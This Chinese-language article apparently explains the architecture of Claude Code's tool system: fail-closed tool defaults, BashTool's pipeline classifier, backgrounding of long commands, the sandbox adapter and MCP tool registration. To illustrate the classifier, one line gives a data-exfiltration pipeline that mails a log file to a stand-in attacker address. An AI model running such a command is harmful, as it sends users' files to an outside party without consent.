工具系统
42 个内置工具的架构与实现
工具系统是 Claude Code 的核心执行层。每个工具实现 Tool 接口,通过 tools.ts 注册中心统一管理。工具被分为多个类别:执行工具(Bash)、文件操作(Read/Write/Edit)、搜索工具(Grep/Glob)、MCP 集成、Agent 协调等。
核心要点
设计亮点
失败安全的默认值:忘了声明就被拦截
buildTool() 给每个工具设置的默认值都是最保守的:isConcurrencySafe 默认 false(不允许并行)、isReadOnly 默认 false(假设有副作用)、isDestructive 默认 false(但默认需要权限检查)。如果一个新工具的开发者忘了声明自己是安全的,结果是这个工具会被权限系统额外审查——而不是被默默放行。这是安全领域'fail-closed'原则的完美实践。
Bash 能看懂你的管道
当 Claude 想执行 cat log.txt | grep error | wc -l 时,BashTool 不是简单地看到这是一条 Bash 命令就放行或拦截。它把管道拆开,逐个分析每个命令的语义:cat 是读取、grep 是搜索、wc 是统计——整条管道是'只读'操作,可以安全执行。但如果管道变成 cat log.txt | mail attacker@evil.com,最后一环是'发送'操作,就会被标记为需要审查。中间的 echo、printf 等命令被标记为'语义中性',不影响管道整体的安全性判断。
15 秒自动转后台:AI 不会被卡住
当 Bash 命令执行超过 15 秒时(ASSISTANT_BLOCKING_BUDGET_MS),BashTool 自动将其转为后台任务。这个设计解决了一个关键问题:AI 助手在等待长命令时会完全阻塞,无法响应用户。转后台后,主循环继续运行,AI 可以同时处理其他任务。用户会看到一个后台任务通知,命令完成后结果会被自动收集。前 2 秒内不显示进度(PROGRESS_THRESHOLD_MS),避免闪烁。
沙箱适配器:权限规则变成操作系统护栏
用户在 settings.json 里写的权限规则(如'禁止编辑 .env 文件')是文本规则,sandbox-adapter.ts 把它们转换成操作系统级的路径限制。这意味着即使 AI 试图绕过文本级别的检查(比如用 cat 读取后再写入另一个文件),操作系统也会直接阻止写入受保护路径。路径语法支持 4 种前缀(//、/、~/、./),让用户可以精确控制保护范围。
模块架构图
Tool.ts792 LOC工具基类,定义 ToolInputJSONSchema、ToolUseBlockParam 等接口
tools.ts600 LOC工具注册中心,导入并注册所有 42 个工具
tools/BashTool/2,000 LOCBash 命令执行工具,含 20 个子模块
tools/FileReadTool/500 LOC文件读取工具,支持文本、图片、PDF、Jupyter
tools/FileEditTool/800 LOC文件编辑工具,精确字符串替换
tools/FileWriteTool/400 LOC文件创建/覆盖工具
tools/GrepTool/600 LOC基于 ripgrep 的内容搜索
tools/GlobTool/400 LOC文件模式匹配
tools/AgentTool/1,200 LOC子代理编排工具
tools/MCPTool/800 LOCMCP 协议工具执行
关键代码
深入解析
每个工具以独立目录存在于 tools/ 下,如 tools/BashTool/BashTool.ts,方便模块化管理。每个目录就是一个完整的功能单元,包含实现、测试和辅助文件。
工具通过 Feature Flags 条件加载,内部用户(ant)可以访问额外工具。这意味着外部构建和内部构建的工具集是不同的。
BashTool 是最复杂的工具,包含 20 个子模块,处理沙箱(通过 sandbox-adapter.ts 将权限规则转换为操作系统级的路径限制)、超时(默认 120 秒)、后台执行(超过 15 秒自动后台化)等。
MCPTool 支持动态加载外部 MCP 服务器提供的工具,实现无限扩展。每个 MCP 工具被注册时,名称会加上 mcp__{serverName}__ 前缀,确保与内置工具不冲突。
buildTool() 函数使用 TypeScript 映射类型实现类型安全的默认值注入。所有可选方法(isEnabled、isReadOnly、isDestructive 等)都有安全的默认值,新工具只需定义核心逻辑。
工具执行上下文(ToolExecutionContext)携带了工作目录、权限上下文、中断信号和进度回调。中断信号(AbortSignal)让用户可以随时按 Ctrl+C 取消正在执行的工具。
进度回调系统支持多种进度类型:BashProgress(命令输出流)、MCPProgress(MCP 工具状态)等。UI 层根据进度类型渲染不同的展示形式(如搜索类命令自动折叠输出)。
BashTool 的命令分类器能理解管道:ls | grep foo 整条管道被识别为'搜索'操作而非'写入'操作,因为它分析了管道中每个命令的语义角色。echo 和 printf 被标记为'语义中性'——它们不改变管道的整体性质。
工具的 checkPermissions() 方法允许每个工具在通用权限系统之外实现自己的权限逻辑。比如 BashTool 需要解析命令内容来判断危险性,而 FileEditTool 需要检查目标文件是否在受保护路径下。
沙箱适配器(sandbox-adapter.ts)将用户配置的权限规则转换为操作系统级限制。它支持 4 种路径前缀语法:// 表示从根开始的绝对路径,/ 表示相对于设置文件的路径,~/ 表示用户主目录,./ 表示当前工作目录。